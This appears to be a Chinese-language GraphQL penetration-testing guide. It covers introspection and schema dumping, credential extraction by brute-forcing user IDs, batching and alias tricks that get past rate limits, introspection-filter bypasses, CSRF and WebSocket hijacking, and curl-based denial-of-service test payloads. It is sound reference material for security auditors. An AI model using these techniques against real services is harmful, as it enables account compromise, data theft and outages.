GraphQL

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介绍

GraphQL 被 强调 为 REST API 的高效替代方案，提供了一种简化的从后端查询数据的方法。与 REST 相比，REST 通常需要在不同的端点之间进行多次请求以收集数据，而 GraphQL 允许通过 单个请求 获取所有所需的信息。这种简化显著 有利于开发人员，减少了他们的数据获取过程的复杂性。

GraphQL 和安全性

随着新技术的出现，包括 GraphQL，新的安全漏洞也随之而来。一个关键点是 GraphQL 默认不包含身份验证机制。开发人员有责任实施这些安全措施。没有适当的身份验证，GraphQL 端点可能会向未认证用户暴露敏感信息，构成重大安全风险。

目录暴力攻击与 GraphQL

为了识别暴露的 GraphQL 实例，建议在目录暴力攻击中包含特定路径。这些路径包括：

• /graphql

• /graphiql

• /graphql.php

• /graphql/console

• /api

• /api/graphql

• /graphql/api

• /graphql/graphql

识别开放的 GraphQL 实例可以检查支持的查询。这对于理解通过端点访问的数据至关重要。GraphQL 的自省系统通过详细说明模式支持的查询来促进这一点。有关更多信息，请参阅 GraphQL 关于自省的文档：GraphQL：API 的查询语言。

指纹识别

工具 graphw00f 能够检测服务器使用的 GraphQL 引擎，并打印一些对安全审计员有帮助的信息。

通用查询

要检查 URL 是否为 GraphQL 服务，可以发送一个 通用查询，query{__typename}。如果响应包含 {"data": {"__typename": "Query"}}，则确认该 URL 托管了一个 GraphQL 端点。此方法依赖于 GraphQL 的 __typename 字段，该字段揭示了被查询对象的类型。

query{__typename}

基本枚举

Graphql 通常支持 GET、POST (x-www-form-urlencoded) 和 POST(json)。虽然出于安全考虑，建议仅允许 json 以防止 CSRF 攻击。

反向工程

要使用反向工程发现架构信息，请查询 __schema 字段。该字段在所有查询的根类型上可用。

query={__schema{types{name,fields{name}}}}

通过此查询，您将找到所有正在使用的类型的名称：

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

通过这个查询，您可以提取所有类型、它的字段和它的参数（以及参数的类型）。这将非常有助于了解如何查询数据库。

错误

了解错误是否会被显示是很有趣的，因为它们将提供有用的信息。

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

通过自省枚举数据库模式

如果自省已启用但上述查询无法运行，请尝试从查询结构中删除 onOperation、onFragment 和 onField 指令。

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

内联自省查询：

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

最后一行代码是一个graphql查询，它将转储所有来自graphql的元信息（对象名称、参数、类型...）

如果启用了自省，您可以使用 GraphQL Voyager 在图形用户界面中查看所有选项。

查询

现在我们知道数据库中保存了哪种信息，让我们尝试提取一些值。

在自省中，您可以找到可以直接查询的对象（因为您不能仅仅因为对象存在就查询它）。在下图中，您可以看到“queryType”被称为“Query”，而“Query”对象的一个字段是“flags”，这也是一种对象类型。因此，您可以查询标志对象。

请注意，查询“flags”的类型是“Flags”，该对象定义如下：

您可以看到“Flags”对象由name和value组成。然后，您可以使用以下查询获取所有标志的名称和值：

query={flags{name, value}}

注意，如果查询的对象是像字符串这样的原始****类型，如以下示例所示

您可以直接查询：

query={hiddenFlags}

在另一个例子中，"Query" 类型对象中有两个对象："user" 和 "users"。 如果这些对象不需要任何参数进行搜索，可以通过请求所需的数据来检索所有信息。在这个互联网示例中，你可以提取保存的用户名和密码：

然而，在这个例子中，如果你尝试这样做，你会得到这个错误：

看起来它会使用类型为 Int 的 "uid" 参数进行搜索。 无论如何，我们已经知道，在 Basic Enumeration 部分提出了一个查询，显示了所有所需的信息：query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

如果你阅读我运行该查询时提供的图像，你会看到 "user" 有一个类型为 Int 的 arg "uid"。

因此，通过一些轻量级的 uid 暴力破解，我发现 uid=1 时检索到了一个用户名和一个密码： query={user(uid:1){user,password}}

注意，我发现我可以请求 参数 "user" 和 "password"，因为如果我尝试查找不存在的内容 (query={user(uid:1){noExists}})，我会得到这个错误：

在枚举阶段，我发现 "dbuser" 对象的字段有 "user" 和 "password"。

查询字符串转储技巧（感谢 @BinaryShadow_）

如果你可以通过字符串类型进行搜索，例如：query={theusers(description: ""){username,password}}，并且你搜索一个空字符串，它将转储所有数据。 (注意这个例子与教程的例子无关，对于这个例子假设你可以通过一个名为 "description" 的字符串字段使用 "theusers" 进行搜索).

搜索

在这个设置中，一个数据库包含人员和电影。人员通过他们的电子邮件和姓名进行识别；电影通过它们的名称和评分进行识别。人员可以互为朋友，也可以拥有电影，表示数据库中的关系。

你可以通过姓名搜索人员并获取他们的电子邮件：

{
searchPerson(name: "John Doe") {
email
}
}

您可以通过名称搜索人员并获取他们的订阅的电影：

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

注意如何指示检索该人的 subscribedMovies 的 name。

您还可以同时搜索多个对象。在这种情况下，搜索了 2 部电影：

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

或者甚至使用别名的多个不同对象的关系：

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

变更用于在服务器端进行更改。

在自省中，您可以找到声明的 变更。在下图中，"MutationType" 被称为 "Mutation"，而 "Mutation" 对象包含变更的名称（在本例中为 "addPerson"）：

在此设置中，数据库包含人员和电影。人员通过他们的电子邮件和姓名进行识别；电影通过它们的名称和评分进行识别。人员可以彼此成为朋友，并且也可以拥有电影，表示数据库中的关系。

一个在数据库中创建新电影的变更可以像以下示例（在此示例中，变更被称为 addMovie）：

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

注意查询中如何指示值和数据类型。

此外，数据库支持一个mutation操作，名为addPerson，允许创建persons及其与现有friends和movies的关联。重要的是要注意，朋友和电影必须在数据库中预先存在，才能将它们链接到新创建的人。

mutation {
addPerson(name: "James Yoe", email: "[e-mail]", friends: [{name: "John Doe"}, {email: "[e-mail]"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

指令重载

如本报告中描述的漏洞之一所述，指令重载意味着调用指令甚至数百万次，以使服务器浪费操作，直到可能导致拒绝服务（DoS）。

在1个API请求中批量暴力破解

此信息来自https://lab.wallarm.com/graphql-batching-attack/。 通过GraphQL API进行身份验证，同时发送多个不同凭据的查询进行检查。这是一种经典的暴力破解攻击，但现在由于GraphQL批量处理功能，可以在每个HTTP请求中发送多个登录/密码对。这种方法会欺骗外部速率监控应用程序，使其认为一切正常，没有暴力破解机器人试图猜测密码。

下面是一个应用程序身份验证请求的最简单演示，一次有3个不同的电子邮件/密码对。显然，可以以相同的方式在单个请求中发送数千个：

从响应截图中可以看到，第一个和第三个请求返回了_null_，并在_error_部分反映了相应的信息。第二个变更具有正确的身份验证数据，响应中包含正确的身份验证会话令牌。

无需自省的GraphQL

越来越多的graphql端点正在禁用自省。然而，当收到意外请求时，graphql抛出的错误足以让像clairvoyance这样的工具重建大部分架构。

此外，Burp Suite扩展GraphQuail 观察通过Burp的GraphQL API请求并构建一个内部GraphQL 架构，每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当收到自省查询时，该扩展返回一个假响应。因此，GraphQuail显示了API中可用的所有查询、参数和字段。有关更多信息，请查看此处。

一个很好的词表可以在这里发现GraphQL实体。

绕过GraphQL自省防御

为了绕过API中对自省查询的限制，在__schema关键字后插入特殊字符被证明是有效的。这种方法利用了开发人员在正则表达式模式中的常见疏忽，这些模式旨在通过关注__schema关键字来阻止自省。通过添加像空格、换行符和逗号这样的字符，GraphQL会忽略这些字符，但正则表达式可能没有考虑到，从而可以绕过限制。例如，在__schema后面带有换行符的自省查询可能会绕过这样的防御：

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

如果不成功，请考虑其他请求方法，例如 GET 请求 或 使用 x-www-form-urlencoded 的 POST 请求，因为限制可能仅适用于 POST 请求。

尝试 WebSockets

正如在 这个演讲 中提到的，检查是否可以通过 WebSockets 连接到 graphQL，因为这可能允许您绕过潜在的 WAF，并使 websocket 通信泄露 graphQL 的架构：

ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}

var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}

发现暴露的 GraphQL 结构

当 introspection 被禁用时，检查网站源代码中 JavaScript 库中预加载的查询是一种有效的策略。这些查询可以通过开发者工具中的 Sources 选项卡找到，提供有关 API 架构的见解，并揭示潜在的 暴露敏感查询。在开发者工具中搜索的命令是：

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF in GraphQL

如果你不知道什么是 CSRF，请阅读以下页面：

CSRF (Cross Site Request Forgery)

在外面，你将能够找到几个 未配置 CSRF 令牌的 GraphQL 端点。

请注意，GraphQL 请求通常通过使用 Content-Type application/json 的 POST 请求发送。

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

然而，大多数 GraphQL 端点也支持 form-urlencoded POST 请求：

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

因此，像之前那样的 CSRF 请求是 在没有预检请求的情况下 发送的，因此可以 利用 CSRF 在 GraphQL 中 进行 更改。

但是，请注意，Chrome 的 samesite 标志的新默认 cookie 值为 Lax。这意味着 cookie 仅会在 GET 请求中从第三方网站发送。

请注意，通常也可以将 查询 请求 作为 GET 请求 发送，并且 CSRF 令牌可能不会在 GET 请求中进行验证。

此外，利用 XS-Search 攻击 可能能够利用用户的凭据从 GraphQL 端点中提取内容。

有关更多信息，请 查看 原始帖子。

GraphQL 中的跨站 WebSocket 劫持

类似于利用 GraphQL 的 CRSF 漏洞，也可以执行 跨站 WebSocket 劫持，以利用未保护的 cookie 进行 GraphQL 身份验证，并使用户在 GraphQL 中执行意外操作。

有关更多信息，请查看：

WebSocket Attacks

GraphQL 中的授权

在端点上定义的许多 GraphQL 函数可能仅检查请求者的身份验证，而不检查授权。

修改查询输入变量可能导致敏感账户详细信息 泄露。

突变甚至可能导致账户接管，试图修改其他账户数据。

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

绕过 GraphQL 中的授权

将查询链接在一起可以绕过一个弱认证系统。

在下面的示例中，您可以看到操作是“forgotPassword”，并且它应该只执行与之相关的 forgotPassword 查询。通过在末尾添加一个查询可以绕过这一点，在这种情况下，我们添加“register”和一个用户变量，以便系统注册为新用户。

使用 GraphQL 中的别名绕过速率限制

在 GraphQL 中，别名是一个强大的功能，允许在进行 API 请求时明确命名属性。这个功能对于在单个请求中检索同一类型的多个实例特别有用。别名可以用来克服 GraphQL 对象不能具有多个同名属性的限制。

要详细了解 GraphQL 别名，推荐以下资源：Aliases。

虽然别名的主要目的是减少大量 API 调用的必要性，但已识别出一个意外的用例，其中别名可以被利用来对 GraphQL 端点执行暴力攻击。这是可能的，因为某些端点受到速率限制器的保护，旨在通过限制HTTP 请求的数量来阻止暴力攻击。然而，这些速率限制器可能没有考虑到每个请求中的操作数量。鉴于别名允许在单个 HTTP 请求中包含多个查询，因此可以规避此类速率限制措施。

考虑下面提供的示例，它说明了如何使用别名查询来验证商店折扣代码的有效性。这种方法可以绕过速率限制，因为它将多个查询编译成一个 HTTP 请求，可能允许同时验证多个折扣代码。

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS in GraphQL

Alias Overloading

Alias Overloading 是一种 GraphQL 漏洞，攻击者通过为同一字段过载查询，使用多个别名，导致后端解析器重复执行该字段。这可能会使服务器资源过载，从而导致 Denial of Service (DoS)。例如，在下面的查询中，同一字段（expensiveField）使用别名请求了 1,000 次，迫使后端计算 1,000 次，可能耗尽 CPU 或内存：

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

为了解决这个问题，实施别名计数限制、查询复杂性分析或速率限制，以防止资源滥用。

基于数组的查询批处理

基于数组的查询批处理是一种漏洞，其中GraphQL API允许在单个请求中批处理多个查询，使攻击者能够同时发送大量查询。这可能会通过并行执行所有批处理查询来压垮后端，消耗过多的资源（CPU、内存、数据库连接），并可能导致服务拒绝（DoS）。如果对批处理中的查询数量没有限制，攻击者可以利用这一点来降低服务可用性。

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

在这个例子中，10个不同的查询被批量处理成一个请求，迫使服务器同时执行所有查询。如果利用更大的批量大小或计算开销大的查询，这可能会使服务器过载。

指令过载漏洞

指令过载发生在GraphQL服务器允许带有过多重复指令的查询时。这可能会使服务器的解析器和执行器不堪重负，特别是当服务器反复处理相同的指令逻辑时。如果没有适当的验证或限制，攻击者可以通过构造一个包含大量重复指令的查询来利用这一点，从而触发高计算或内存使用，导致服务拒绝（DoS）。

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'

请注意，在前面的示例中，@aa 是一个 可能未声明 的自定义指令。通常存在的一个常见指令是 @include：

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'

您还可以发送一个 introspection 查询以发现所有声明的指令：

curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'

然后使用一些自定义的。

字段重复漏洞

字段重复是一种漏洞，其中GraphQL服务器允许查询中重复过多的相同字段。这迫使服务器为每个实例冗余地解析该字段，消耗大量资源（CPU、内存和数据库调用）。攻击者可以构造包含数百或数千个重复字段的查询，导致高负载，并可能导致服务拒绝（DoS）。

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 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'https://example.com/graphql'

工具

漏洞扫描器

• https://github.com/dolevf/graphql-cop: 测试graphql端点的常见错误配置

• https://github.com/assetnote/batchql: 专注于执行批量GraphQL查询和变更的GraphQL安全审计脚本。

• https://github.com/dolevf/graphw00f: 指纹识别正在使用的graphql

• https://github.com/gsmith257-cyber/GraphCrawler: 工具包，可用于抓取模式并搜索敏感数据，测试授权，暴力破解模式，并找到到给定类型的路径。

• https://blog.doyensec.com/2020/03/26/graphql-scanner.html: 可作为独立工具或Burp扩展使用。

• https://github.com/swisskyrepo/GraphQLmap: 也可以作为CLI客户端使用以自动化攻击

• https://gitlab.com/dee-see/graphql-path-enum: 列出在GraphQL模式中到达给定类型的不同方式的工具。

• https://github.com/doyensec/GQLSpection: InQL的独立和CLI模式的继任者

• https://github.com/doyensec/inql: 用于高级GraphQL测试的Burp扩展。_扫描器是InQL v5.0的核心，您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更，并将其组织成结构化视图以供分析。攻击者_组件允许您运行批量GraphQL攻击，这对于规避实现不良的速率限制非常有用。

• https://github.com/nikitastupin/clairvoyance: 尝试通过使用一些Graphql数据库的帮助，即使在禁用自省的情况下也获取模式，这些数据库将建议变更和参数的名称。

客户端

• https://github.com/graphql/graphiql: GUI客户端

• https://altair.sirmuel.design/: GUI客户端

自动测试

https://graphql-dashboard.herokuapp.com/graphql-dashboard.herokuapp.com

• 解释AutoGraphQL的视频: https://www.youtube.com/watch?v=JJmufWfVvyU

参考

• https://jondow.eu/practical-graphql-attack-vectors/

• https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696

• https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4

• http://ghostlulz.com/api-hacking-graphql/

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md

• https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696

• https://portswigger.net/web-security/graphql

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